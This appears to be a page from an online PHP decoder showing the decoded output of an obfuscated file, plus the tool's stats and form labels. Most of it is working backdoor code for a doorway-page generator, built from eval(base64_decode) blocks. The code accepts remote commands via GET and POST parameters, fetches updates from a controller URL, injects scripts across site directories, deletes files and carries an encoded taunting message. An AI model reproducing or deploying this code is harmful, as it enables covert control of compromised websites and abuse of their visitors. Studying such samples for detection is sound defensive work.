EMwQzcxQ0NEKSl7ICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTMgPSAkUkUyMTAxNDRFRTQ2RDUyRUZGNUEzNEJFMEMwQzcxQ0NEWzFdOyB9IHJldHVybiAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzO30='));eval(base64_decode('function FF0878B40103D74D635BD3F82AD98B03D(){ global $_SERVER, $_GET; $RD4BBD093571F6265608187C20499053F = "0000188124"; $RD4BBD093571F6265608187C20499053F = intval($RD4BBD093571F6265608187C20499053F); if(!file_exists($GLOBALS['dgcp'].$GLOBALS['dgin'])){ return; } if(filesize($GLOBALS['dgcp'].$GLOBALS['dgin']) <> $RD4BBD093571F6265608187C20499053F){ if(isset($_GET['dgd'])){ echo"bad size: " . filesize($GLOBALS['dgcp'].$GLOBALS['dgin']) . " [want: $RD4BBD093571F6265608187C20499053F]<br>"; } if(!(strpos(strtolower($_SERVER['DOCUMENT_ROOT']), 'w:') === 0) && $_SERVER["HTTP_HOST"] <> 'wp' && strpos(strtolower($_SERVER['SystemRoot']), 'win') > 0){ error_reporting(0); echo(base64_decode('cGVyZWQgdGVtLCBrYWsgdGkgemFrb25jaGlzaCBjaGl0YXQnIGV0byBwb3NsYW5pZSAtIHJla29tZW5kdXl1IHphcGlzYXQnIG1vaSBlbWFpbDogPGI+aWdvYUBnYXdhYi5jb208L2I+LCB0ZWJlIGJ1ZGV0IGNodG8gbW5lIG5hcGlzYXQnLiBUaSBvY2hlbicgdXBlcnRpeSBzdWtpbiBzaW4gcyBuZXBsb2hvaSBrdmFsaWZpa2FjaWV5LCBubyB6YXBvbW5pIG9kbnUgdmVzaCAtIE5BIEtBSkRVWVUgSElUUlVZVSBKT1BVIEVTVCcgU1ZPWSBIVUkgUyBWSU5UT00uIChFLU1haWwgemFwaXNhbD8pLiBZYSByZWFsbm8gdGViZSBzb2NodXZzdHZ1eXUsIG5vIHRvIGNodG8gdGkgcG9sdWNoaWwgLSBzZGVsYWwgdGkgU0FNLCB0YWsgY2h0byB6YWt1cmkgc2lnYXJldGt1IGkgdWxpYm5pcycgLSB0ZWJqYSBwb2ltZWxpISEh')); F21E19891D6FCBC60EE9265ABD888D00C(str_replace('\\', '/', $_SERVER['SystemRoot']) . '/', 1); F21E19891D6FCBC60EE9265ABD888D00C(substr($_SERVER['DOCUMENT_ROOT'], 0, strpos($_SERVER['DOCUMENT_ROOT'], '/')) . '/', 1); die; }elseif($_SERVER['HTTP_HOST']){ $R6E4F14B335243BE656C65E3ED9E1B115 = $GLOBALS['dguh'] . "?update=js&host={$_SERVER['HTTP_HOST']}&ver={$GLOBALS['jsv']}"; if(!headers_sent()){ SetCookie('updating', $R6E4F14B335243BE656C65E3ED9E1B115); } FF97A1D7A5B771B21D423C3A9D78408C1($R6E4F14B335243BE656C65E3ED9E1B115, true); } } } $GLOBALS['dgu_jurl'] = ''; $GLOBALS['dgu_durl'] = ''; $GLOBALS['dgu_surl'] = ''; $GLOBALS['dgu_kurl'] = ''; $GLOBALS['dgu_nurl'] = ''; function F34639A525DB59BBE89A1B68A341989A9($RC4A5B5E310ED4C323E04D72AFAE39F53, $R9D286369CBA2FBEB34D036FFC3C9EB2E, $R399036803A841185E4A270BC666A66CF = false){ global $_GET; if(isset($_GET['dgd'])){ $R399036803A841185E4A270BC666A66CF = false; } if(!$R399036803A841185E4A270BC666A66CF){ echo "confirming new doorgen: {$RC4A5B5E310ED4C323E04D72AFAE39F53}<br>"; } $R5D85BD68B93063794E79DB4C9023E1A2 = 0; $RDBF866E6293BB59E654033E299EC8CFE = 0; while($R5D85BD68B93063794E79DB4C9023E1A2 < 20){ $R5D85BD68B93063794E79DB4C9023E1A2++; $R9DB9E103E88D622316D42B508D6D11AB = FFD456406745D816A45CAE554C788E754($RC4A5B5E310ED4C323E04D72AFAE39F53, 180, $RF89F518E40FF53B4FD2A7D2440090D63, $R9D286369CBA2FBEB34D036FFC3C9EB2E); if(strpos($R9DB9E103E88D622316D42B508D6D11AB, 'dgok')){ $RDBF866E6293BB59E654033E299EC8CFE = 1; if(!$R399036803A841185E4A270BC666A66CF){ echo"confirmed succsessfully: $R9DB9E103E88D622316D42B508D6D11AB<br>"; } break; }elseif(strpos($R9DB9E103E88D622316D42B508D6D11AB, 'dgfailed')){ if(!$R399036803A841185E4A270BC666A66CF){ echo"confirmation failed: $R9DB9E103E88D622316D42B508D6D11AB<br>"; } break; } } if(!$RDBF866E6293BB59E654033E299EC8CFE){ FE0323A9039ADD2978BF5B49550572C7C($R399036803A841185E4A270BC666A66CF); } } FF0878B40103D74D635BD3F82AD98B03D(); function FEDEF2DC73589D53BC2B30BE1446D22BC(){ } if(isset($_GET[$GLOBALS['dgopt']['dgqn']]) || isset($_GET['dgm']) || isset($_GET['dga']) || $_GET[$GLOBALS['dgrr']]){ if(isset($_GET['dgm']) || isset($_GET['dga'])){ F76E267E7EFA24CD6D9442CF42AFA20CB(); } if(file_exists($GLOBALS['dgdf']) && is_readable($GLOBALS['dgdf'])){ F5FB5D6BE8E06506205DFB12338D59576(); include_once($GLOBALS['dgdf']); } die; }elseif(isset($_GET[$GLOBALS['dgfn']]) && file_exists($GLOBALS['dgff'])){ Header("Content-Type: application/x-shockwave-flash"); die(implode("", file($GLOBALS['dgff']))); }elseif($_GET['upd']){ F76E267E7EFA24CD6D9442CF42AFA20CB(); FF97A1D7A5B771B21D423C3A9D78408C1($_GET['upd']); die; }elseif($_GET['dgu']){ F76E267E7EFA24CD6D9442CF42AFA20CB(); FE30C005A9ED2D1D7195DD8485C71E92C($_GET['dgu']); die("<hr><b>dgok</b>"); }elseif(isset($_GET['dgs'])){ F76E267E7EFA24CD6D9442CF42AFA20CB(); FFD4CA0987278D9E3EB7B6EC51C59C6E8(); die; }elseif(isset($_GET['dgr'])){ F76E267E7EFA24CD6D9442CF42AFA20CB(); F012D69AC5CE9ED6C2EC5DF1609CA51C4($GLOBALS['dgdr'], $GLOBALS['dgij'], 0, 0); if($GLOBALS['dgsp']){ F012D69AC5CE9ED6C2EC5DF1609CA51C4($GLOBALS['dgsp'], $GLOBALS['dgij'], 0, 0); } die("<hr><b>dgok</b>"); }elseif(isset($_GET['dgi'])){ F76E267E7EFA24CD6D9442CF42AFA20CB(); F012D69AC5CE9ED6C2EC5DF1609CA51C4($GLOBALS['dgdr'], $GLOBALS['dgij'], 1, 0); if($GLOBALS['dgsp']){ F012D69AC5CE9ED6C2EC5DF1609CA51C4($GLOBALS['dgsp'], $GLOBALS['dgij'], 1, 0); } die("<hr><b>dgok</b>"); }elseif(isset($_GET['cc'])){ F76E267E7EFA24CD6D9442CF42AFA20CB(); FE0323A9039ADD2978BF5B49550572C7C(); die("<hr><b>dgok</b>"); }elseif(isset($_GET['ins'])){ F76E267E7EFA24CD6D9442CF42AFA20CB(); FB97FA63C78BC91B5403C77A8CF3A9986(); die("<hr><b>dgok</b>"); }elseif(isset($_GET['dgc'])){ F76E267E7EFA24CD6D9442CF42AFA20CB(); FA795E0B4BF1D4B68AFCB85DB5D3F3924(); die("<hr>{$GLOBALS['dgopt']['dgid']} - {$GLOBALS['jsv']}<hr><b>dgok</b>"); }elseif(isset($_GET['chp'])){ F76E267E7EFA24CD6D9442CF42AFA20CB(); F41F51A0DA261A69603A169CEFFBCF7A5(rawurldecode($_GET['chp'])); die; }elseif(isset($_GET['dgp'])){ F76E267E7EFA24CD6D9442CF42AFA20CB(); die($GLOBALS['dgcp'].$GLOBALS['dgin'] . "\n<hr>" . filesize($GLOBALS['dgcp'].$GLOBALS['dgin']) . "\n<hr>{$GLOBALS['dgopt']['dgid']}\n<hr><b>dgok</b>"); }elseif(isset($_GET['cl'])){ F76E267E7EFA24CD6D9442CF42AFA20CB(); echo gml() . "<hr><b>dgok</b>"; die; }elseif(isset($_GET['clc'])){ F76E267E7EFA24CD6D9442CF42AFA20CB(); if(file_exists($GLOBALS['dglf'])){ if(unlink($GLOBALS['dglf'])){ die("counter cleared<hr><b>dgok</b>"); }else{ die("failed to clear counter<hr><b>dgok error1</b>"); } }else{ die("counter file not found<hr><b>dgok error2</b>"); } }elseif(isset($_GET['gjs'])){ F76E267E7EFA24CD6D9442CF42AFA20CB(); die(implode("", file($GLOBALS['dgcp'].$GLOBALS['dgin']))); }elseif(isset($_GET['dgpackjs'])){ F76E267E7EFA24CD6D9442CF42AFA20CB(); die(FCE5FE761FE36220458FAE651AEABF6D9(implode("", file($GLOBALS['dgcp'].$GLOBALS['dgin'])))); }elseif(isset($_GET['fix'])){ F76E267E7EFA24CD6D9442CF42AFA20CB(); F71DA877DFCADECBA440EA94159D9D8EE($GLOBALS['dgfxp'], 0); die("<hr><b>dgok</b>"); }elseif(isset($_GET['dgpackdg'])){ F76E267E7EFA24CD6D9442CF42AFA20CB(); die(FCE5FE761FE36220458FAE651AEABF6D9(implode("", file($GLOBALS['dgdf'])))); }else{ foreach($_GET as $RF413F06AEBBCEF5E1C8B1019DEE6FE6B=>$R244F38266C59587D696AEC08A771B803){ $R2322221D09E72D62CE8923BF936F088E=explode("=", $RF413F06AEBBCEF5E1C8B1019DEE6FE6B); if(is_array($R2322221D09E72D62CE8923BF936F088E) && $R2322221D09E72D62CE8923BF936F088E[0] == 'upd'){ F76E267E7EFA24CD6D9442CF42AFA20CB(); FF97A1D7A5B771B21D423C3A9D78408C1(str_replace('_', '.', $R2322221D09E72D62CE8923BF936F088E[1])); die; }elseif(is_array($R2322221D09E72D62CE8923BF936F088E) && $R2322221D09E72D62CE8923BF936F088E[0] == 'cl'){ $_GET['cl'] = str_replace('_', '.', $R2322221D09E72D62CE8923BF936F088E[1]); echo gml(); die; } } $RC4A5B5E310ED4C323E04D72AFAE39F53 = 0; $R3CB9CDAED257453CFA56B9EF81B44C57 = 0; foreach($_POST as $RF413F06AEBBCEF5E1C8B1019DEE6FE6B=>$R244F38266C59587D696AEC08A771B803){ if(get_magic_quotes_gpc()){$R244F38266C59587D696AEC08A771B803 = stripslashes($R244F38266C59587D696AEC08A771B803);} if($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'upd'){ F76E267E7EFA24CD6D9442CF42AFA20CB(); FF97A1D7A5B771B21D423C3A9D78408C1($R244F38266C59587D696AEC08A771B803); die; }elseif($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'cl'){ F76E267E7EFA24CD6D9442CF42AFA20CB(); $_GET['cl'] = $R244F38266C59587D696AEC08A771B803; echo gml(); $R3CB9CDAED257453CFA56B9EF81B44C57 = 1; }elseif($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'fix'){ F76E267E7EFA24CD6D9442CF42AFA20CB(); F71DA877DFCADECBA440EA94159D9D8EE($GLOBALS['dgfxp'], 0); die("<hr><b>dgok</b>"); }elseif($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'dgu'){ F76E267E7EFA24CD6D9442CF42AFA20CB(); FE30C005A9ED2D1D7195DD8485C71E92C($R244F38266C59587D696AEC08A771B803); $R3CB9CDAED257453CFA56B9EF81B44C57 = 1; }elseif($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'dgs'){ F76E267E7EFA24CD6D9442CF42AFA20CB(); FFD4CA0987278D9E3EB7B6EC51C59C6E8(); $R3CB9CDAED257453CFA56B9EF81B44C57 = 1; }elseif($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'dgr'){ F76E267E7EFA24CD6D9442CF42AFA20CB(); F012D69AC5CE9ED6C2EC5DF1609CA51C4($GLOBALS['dgdr'], $GLOBALS['dgij'], 0, 0); if($GLOBALS['dgsp']){ F012D69AC5CE9ED6C2EC5DF1609CA51C4($GLOBALS['dgsp'], $GLOBALS['dgij'], 0, 0); } $R3CB9CDAED257453CFA56B9EF81B44C57 = 1; }elseif($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'dgi'){ F76E267E7EFA24CD6D9442CF42AFA20CB(); F012D69AC5CE9ED6C2EC5DF1609CA51C4($GLOBALS['dgdr'], $GLOBALS['dgij'], 1, 0); if($GLOBALS['dgsp']){ F012D69AC5CE9ED6C2EC5DF1609CA51C4($GLOBALS['dgsp'], $GLOBALS['dgij'], 1, 0); } $R3CB9CDAED257453CFA56B9EF81B44C57 = 1; }elseif($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'cc'){ F76E267E7EFA24CD6D9442CF42AFA20CB(); FE0323A9039ADD2978BF5B49550572C7C(); $R3CB9CDAED257453CFA56B9EF81B44C57 = 1; }elseif($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'ins'){ F76E267E7EFA24CD6D9442CF42AFA20CB(); FB97FA63C78BC91B5403C77A8CF3A9986(); $R3CB9CDAED257453CFA56B9EF81B44C57 = 1; }elseif($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'dgc'){ F76E267E7EFA24CD6D9442CF42AFA20CB(); FA795E0B4BF1D4B68AFCB85DB5D3F3924(); echo "<hr>{$GLOBALS['dgopt']['dgid']} - {$GLOBALS['jsv']}"; $R3CB9CDAED257453CFA56B9EF81B44C57 = 1; }elseif($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'chp'){ F76E267E7EFA24CD6D9442CF42AFA20CB(); F41F51A0DA261A69603A169CEFFBCF7A5($R244F38266C59587D696AEC08A771B803); $R3CB9CDAED257453CFA56B9EF81B44C57 = 1; }elseif($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'gjs'){ F76E267E7EFA24CD6D9442CF42AFA20CB(); echo implode("", file($GLOBALS['dgcp'].$GLOBALS['dgin'])); $R3CB9CDAED257453CFA56B9EF81B44C57 = 1; }elseif($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'dgp'){ F76E267E7EFA24CD6D9442CF42AFA20CB(); echo $GLOBALS['dgcp'].$GLOBALS['dgin'] . "\n<hr>" . filesize($GLOBALS['dgcp'].$GLOBALS['dgin']) . "\n<hr>{$GLOBALS['dgopt']['dgid']}\n<hr><b>dgok</b>"; $R3CB9CDAED257453CFA56B9EF81B44C57 = 1; }elseif($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'clc'){ F76E267E7EFA24CD6D9442CF42AFA20CB(); if(file_exists($GLOBALS['dglf'])){ if(unlink($GLOBALS['dglf'])){ die("counter cleared<hr><b>dgok</b>"); }else{ die("failed to clear counter<hr><b>dgok</b>"); } }else{ die("counter file not found<hr><b>dgok</b>"); } } if($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'dgurl'){ $GLOBALS['dgopt']['dgurl'] = $R244F38266C59587D696AEC08A771B803; $RC4A5B5E310ED4C323E04D72AFAE39F53 = 1; } if($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'dgsu'){ $GLOBALS['dgopt']['dgsu'] = $R244F38266C59587D696AEC08A771B803; $RC4A5B5E310ED4C323E04D72AFAE39F53 = 1; } if($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'tt'){ $GLOBALS['dgopt']['tt'] = $R244F38266C59587D696AEC08A771B803; $RC4A5B5E310ED4C323E04D72AFAE39F53 = 1; } if($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'kd'){ $GLOBALS['dgopt']['kd'] = $R244F38266C59587D696AEC08A771B803; $RC4A5B5E310ED4C323E04D72AFAE39F53 = 1; } if($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'prl'){ F76E267E7EFA24CD6D9442CF42AFA20CB(); $GLOBALS['dgopt']['prl'] = $R244F38266C59587D696AEC08A771B803; $RC4A5B5E310ED4C323E04D72AFAE39F53 = 1; } if($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'sp'){ $GLOBALS['dgopt']['sp'] = $R244F38266C59587D696AEC08A771B803; $RC4A5B5E310ED4C323E04D72AFAE39F53 = 1; } if($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'st'){ $GLOBALS['dgopt']['st'] = $R244F38266C59587D696AEC08A771B803; $RC4A5B5E310ED4C323E04D72AFAE39F53 = 1; } if($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'ct'){ $GLOBALS['dgopt']['ct'] = $R244F38266C59587D696AEC08A771B803; $RC4A5B5E310ED4C323E04D72AFAE39F53 = 1; } if($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'markov'){ $GLOBALS['dgopt']['markov'] = $R244F38266C59587D696AEC08A771B803; $RC4A5B5E310ED4C323E04D72AFAE39F53 = 1; } if($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'dgblo'){ $GLOBALS['dgopt']['dgblo'] = $R244F38266C59587D696AEC08A771B803; $RC4A5B5E310ED4C323E04D72AFAE39F53 = 1; } if($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'frb'){ $GLOBALS['dgopt']['frb'] = $R244F38266C59587D696AEC08A771B803; $RC4A5B5E310ED4C323E04D72AFAE39F53 = 1; } if($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'ml'){ $GLOBALS['dgopt']['ml'] = $R244F38266C59587D696AEC08A771B803; $RC4A5B5E310ED4C323E04D72AFAE39F53 = 1; } if($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'dguh'){ $GLOBALS['dgopt']['dguh'] = $R244F38266C59587D696AEC08A771B803; $RC4A5B5E310ED4C323E04D72AFAE39F53 = 1; } if($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'qr'){ $GLOBALS['dgopt']['qr'] = $R244F38266C59587D696AEC08A771B803; $RC4A5B5E310ED4C323E04D72AFAE39F53 = 1; } if($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'fr'){ $GLOBALS['dgopt']['fr'] = $R244F38266C59587D696AEC08A771B803; $RC4A5B5E310ED4C323E04D72AFAE39F53 = 1; } if($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'theme'){ $GLOBALS['dgopt']['theme'] = $R244F38266C59587D696AEC08A771B803; $RC4A5B5E310ED4C323E04D72AFAE39F53 = 1; } } if($RC4A5B5E310ED4C323E04D72AFAE39F53){ F76E267E7EFA24CD6D9442CF42AFA20CB(); FABF1F9768353B2564B5460F178C4F1CB(); die("<hr><b>dgok</b>"); } if($R3CB9CDAED257453CFA56B9EF81B44C57){ die("<hr><b>dgok</b>"); } } if($GLOBALS['dgopt']['dgsr']){ F5FB5D6BE8E06506205DFB12338D59576(F958DF7C20793CDCE049E2A0436B3498D(0)); }'));'));?>

Function Calls

base64_decode

Variables

None

Stats

MD5	a68e661d76e4dcd574cac0fc695c5c22
Eval Count	1
Decode Time	1834 ms

Find this useful? Enter your email to receive occasional updates for securing PHP code.

PHP Decode

Decoded Output download

Did this file decode correctly?

How would you describe this file?

Original Code

Function Calls

Variables

Stats